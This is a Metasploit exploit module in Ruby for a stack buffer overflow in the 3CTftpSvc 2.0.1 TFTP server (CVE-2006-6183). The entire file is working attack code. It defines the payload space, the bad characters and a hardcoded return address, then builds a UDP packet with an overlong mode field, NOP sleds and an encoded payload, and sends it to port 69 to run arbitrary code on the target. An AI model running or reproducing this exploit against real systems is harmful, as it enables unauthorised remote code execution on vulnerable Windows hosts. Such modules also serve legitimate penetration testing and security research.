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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
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          sending a specially crafted packet with an overly long mode
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          field, a remote attacker could overflow a buffer and execute
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          arbitrary code on the system.
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        },
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        'Author' => 'MC',
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        'References' => [
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          ['CVE', '2006-6183'],
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          ['OSVDB', '30758'],
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          ['BID', '21301'],
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          ['URL', 'http://web.archive.org/web/20070521014920/http://secunia.com:80/advisories/23113'],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 400,
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          'BadChars' => "\x00",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ '3CTftpSvc 2.0.1',	{ 'Ret' => 0x00402b02 } ],
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        ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2006-11-27',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(69)])
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  end
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  def exploit
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    connect_udp
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    sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
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    sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
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    print_status("Trying target #{target.name}...")
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    udp_sock.put(sploit)
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    disconnect_udp
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  end
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end
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